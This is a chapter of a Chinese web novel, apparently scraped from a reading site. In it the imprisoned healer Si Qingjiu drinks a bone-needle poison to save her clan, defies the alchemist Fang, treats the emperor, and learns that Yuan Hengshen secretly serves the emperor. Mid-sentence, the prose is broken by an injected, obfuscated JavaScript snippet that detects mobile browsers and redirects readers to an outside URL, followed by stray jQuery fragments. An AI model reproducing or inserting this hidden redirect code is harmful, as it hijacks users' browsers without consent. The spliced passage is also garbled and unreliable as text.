35. 宵小之辈,也配我一跪?

作品:《王爷的必死循环被她杀穿了

    司倾酒接过药瓶闻了闻,“软骨酥里加了针毒,你这不仅是要化我内息,还要我受尽骨髓针扎之痛。方术士不仅怕我,还恨我啊。”


    说到恨,方术士的神色瞬间沉了下来。


    “当初楼景川为了你断了我一只手,如今只让你痛彻骨髓已经是我大度了,若不是你的手还有用,此刻它也该被砍下来。”


    “呵,原来方术士竟也是这般无能迁怒之人啊,南境王砍你的手,你无力对付不了他,却将恨意施加在我的身上,啧,真是可笑啊。”


    方术士脸色青黑,却无力反驳,“是又如何?我曾经痛苦过,如今只要你们任何人能痛苦,我便是痛快的。”


    方术士说着抓住司倾酒的手,眼底满是威胁,“我知你用毒一绝,可如今你身上已经被搜刮一空,日后也不会让你碰到任何一味药材,即便你能解毒又如何?”


    “我若是不喝呢?”


    方术士笑着挥了挥手,一侧守卫便拔剑横在了皇鉴阁众人的脖颈上。


    “只要今日你不喝,那这里的所有人,都得死。”


    闻言,皇鉴阁众人的脸上都浮现出一股必死的释然。


    毕竟他们这位少家主从不归家,什么家族重任,什么朝堂忠心都是统统不放在心上的。


    更何况他们这群从未服过他的族人。


    “要杀便杀,我司家人从不畏死。”


    “没错,要杀便杀!”


    眼看着众人傲骨铮铮,方术士不怒反笑,而后神色突然阴沉,手里暗器直冲近处叫嚷的族人射了出去。


    司倾酒身影一闪而过,挡在那人身前,暗器已经被她把玩在指尖,“方术士是想让圣上死吗?”


    “你敢让圣上死吗?”


    “我为何不敢?”


    司倾酒眼底怒意翻滚,“你若敢伤我族人分毫,我也不介意死在这里,我这个人嘛什么都怕,可就不怕死,你可以出去问问的。只是不知道,方术士若是误了主子的大计,又会是什么下场?”


    司倾酒是个疯子,方术士是知道的,到了此刻她也只好妥协。


    “也罢,既如此,我不动他们便是,但你也不必说不在乎他们之类的话,你若是真不在乎,又何苦眼巴巴的从宫外赶回来?所以...”


    不等方术士说完,司倾酒便仰头将毒药尽数喝下。


    这一幕让身后众人皆是震惊。


    “少主。”


    “少主不可!”


    毒药入体的瞬间,司倾酒便整个人被卸去了力气。


    扶着牢门才稳住身子,而体内每一处骨髓都好似有无数根针扎一般,让她瞬间冷汗遍布。


    看着她如此模样,方术士露出了得意的笑容,随即走到她的身后,手里的银针迅速落下。


    这一下,司倾酒整个人瘫倒在地,疼痛得蜷缩成一团。


    “对不住啊,这单是毒药怕是药不倒你,但加上我这银针封穴,你这功力可是使不出半分的。所以,安分些,别想着惹出什么乱子来。”


    方术士笑着将银针收起,却没注意到,司倾酒惨白面容上,逐渐扬起的唇角。


    “不过若你跪下求我,我倒是可以减了你这个彻骨之痛。”


    即便是如此狼狈和痛苦,司倾酒深呼一口气,还是缓缓站起身子,支撑着与方术士对视。


    她微扬着头,目光依旧凌厉,分明狼狈不堪,却居高临下。


    “宵小之辈,也配我一跪?”


    身后皇鉴阁众人都纷纷起身,互相搀扶着在司倾酒的身后站立,似一面漆黑的城墙,破损但屹立。


    “宵小之辈,不配我司家一人之跪。”


    声势浩大,动荡整个牢狱。


    方术士神色微变,司倾酒却已经朝她走去,“皇鉴阁还差一位,司复夏在何处?”


    “自是在他该在的地方。”


    方术士故作镇定,却被司倾酒一眼看穿。


    司倾酒不由得放声嘲笑,“哦,原来,你们没抓住他啊。”


    “即便没抓住他,可这数十司家族众,难道不足以威胁你吗?”


    “当然够威胁我的,我只是单纯想嘲笑你过于无能罢了。”


    “你...”


    “司倾酒你嘲笑别人的样子,依旧难看得很。”


    熟悉的声音突然响起,牢门外走进来一道身影。


    司倾酒眼底划过一抹诧异,但很快反应过来。


    “恭喜你啊元恒深,找到了比庆国公更好的登云梯。”


    他也有前世的记忆。


    她确定。


    面对司倾酒的嘲讽,这次元恒深神色里已经满是不在乎。


    “是啊,这还要多谢你,我才能走到如今的高位。你不是看不起我吗?但偏偏就是我,将你,将你们司家,统统踩在了脚下。”


    “是你?”


    司倾酒恍然大悟,元恒深之所以在各世家都虎视眈眈的境况下,竟然如此出现在了宫中,只有一个可能。


    所谓司家反叛的事件里,他是最大的主导者。


    元恒深从司倾酒的眼神里便知她在想什么,“没错,司家叛乱是我亲眼见证,不仅如此,我更是不畏叛贼,在绝境里救下圣上的大功臣。”


    “无耻。”


    “其实走到这一步,我更是明白了一个道理,既然要权势,就狠到底,去走到权利的巅峰。”


    元恒深说着,走到司倾酒的面前,直视她的双眼。


    “我以前还是顾虑太多,总想着都要得到。但如今,我便要先得到至高之位,余下的其实也自会得到,你说对吗?”


    “那便祝元大人得偿所愿,莫要摔得粉身碎骨。”


    “好了,你这些阴阳怪气的话如今我听着已经是不痛不痒了,你还是好好看清自己的处境,莫要生出什么是非来。”


    元恒深挥了挥衣袖,姿态傲慢的冷笑一声,转而看向方术士。


    “勤政殿那边已经准备好了,可以过去了。”


    “好。”


    方术士一个眼神,便有两个禁卫上前,一左一右将司倾酒看住。


    “司少主,请移步吧,最后奉劝你一句,你只有三日的时间,若是三日之内治不好圣上,那三日之后的每一日,我都会从这里挑出十人,在你面前,一个个杀掉。”


    “放心,我不会给你这个机会的。”


    司倾酒说完,回头看了一眼满是担忧的司家众人,而后转身朝外走去。


    全身的疼痛让她步伐不稳,台阶处一个踉跄差点摔倒在地。


    元恒深那倨傲的眼底划过一抹波澜,衣袖下的手微颤着收紧,但最终还是选择快步离去。


    等司倾酒重新回到勤政殿,内殿里娘娘们还在争相照顾。


    有杨妃压制,这才没失了分寸。


    见司倾酒狼狈进来,杨妃脸上露出了满意的神色。


    “既然酒医仙来了,便进去看看圣上吧,我等也不便在此处打扰医治,都各自回宫吧。”


    “娘娘这不太妥当吧。”


    “有何不妥?内里太医们都在,自会盯着她所用药方和医


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227050|195423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    治法子,而且还有元大人在此处盯着,还能有什么不妥?”


    元恒深这波地位刷的的确不错。


    杨妃见众妃嫔还是不愿离开,只好以身作则,率先走了出去。


    如此一来,别人也不好再留。


    等他们都离开后,殿中才算安静下来。


    方术士本就为圣上炼丹,自然也留在殿中,里面还有不少太医在忙着。


    司倾酒直接被带到了圣上榻前,圣上面色苍白,气息微弱,一直昏迷不醒。


    司倾酒先是谈了谈脉,后又看了太医们的脉案和用药,之后才重新写了一副药方。


    太医们看过之后,纷纷觉得可行,这才由别的太医前去抓药煎服。


    而司倾酒又看向方术士,“针毒的解药。”


    闻言,方术士得意地笑了笑,“怎么?受不住了?我说过,跪下求我。”


    司倾酒白了她一眼,从一侧取过银针。


    那银针在她的手上颤抖不已,“看见了吗?你若是不怕圣上出事,那我便就这样下针了。”


    眼看着司倾酒的银针就要落下,方术士只好将一粒解药递了过去。


    “这药可保你半日针毒不发作,半日时间,行针总会结束吧。”


    “今日是够了,但明日未必,而且针毒久了即便解了毒,我这手也抖得厉害。”


    “那便明日再说。”


    眼看方术士不再让步,司倾酒便将药丸服下,稍缓了片刻,便开始施针。


    一轮行针结束,圣上的气色果然好了许多,气息也稳重了些。


    方术士这才满意,“偏殿已经收拾好了,这几日便委屈酒医仙在此处住下了。”


    什么住下,就是幽禁。


    需要她时带她过来,不需要时便关起来。


    就在禁卫准备上前带走她时,元恒深站了出来。


    “我送她过去。”


    方术士眼底有些怀疑,“元大人莫不是对她旧情未了?”


    “旧情早就烟消云散,不过旧怨倒是还有些,方术士还要同杨妃汇报,这边便交给我吧。”


    方术士虽对元恒深没有那么信任,可之前元恒深做的事情,又确实站在了他们那边。


    而且此时他的身份大有用处,也不可得罪,只好点头同意。


    “那便有劳元大人了。”


    但即便答应,还是眼神示意禁卫盯着。


    司倾酒也不想同他们纠缠,起身就走了出去。


    元恒深紧跟在身后,直到了偏殿处,这才塞给了禁卫银子。


    “两位稍后。”


    说着便将司倾酒猛然推进了殿中。


    待殿门关上,内里响起了打骂声。


    禁卫对视一眼,这才放松下来。


    而此刻内里,元恒深口中虽然骂着,还推到了一旁的烛台,可在来到司倾酒身前时,却换了副模样,满脸担忧地朝她摇了摇头,示意她莫要开口。


    在司倾酒眼底露出和前世死去之前一样的神色时,元恒深的唇角浮现了一抹笑意。


    这便是他卑微期盼已久,促使他走到这一步的,唯一动力。


    “司倾酒,你之前不是还想杀我吗?今日便先尝尝我的苦头。”


    元恒深说着狠话,而后又小声对司倾酒说了四个字。


    “黑白如政。”


    司倾酒一见神色微变。


    这话,是圣上曾同她下棋时说过的。


    元恒深的确有了新的登云梯。


    但却不是杨相,而是圣上。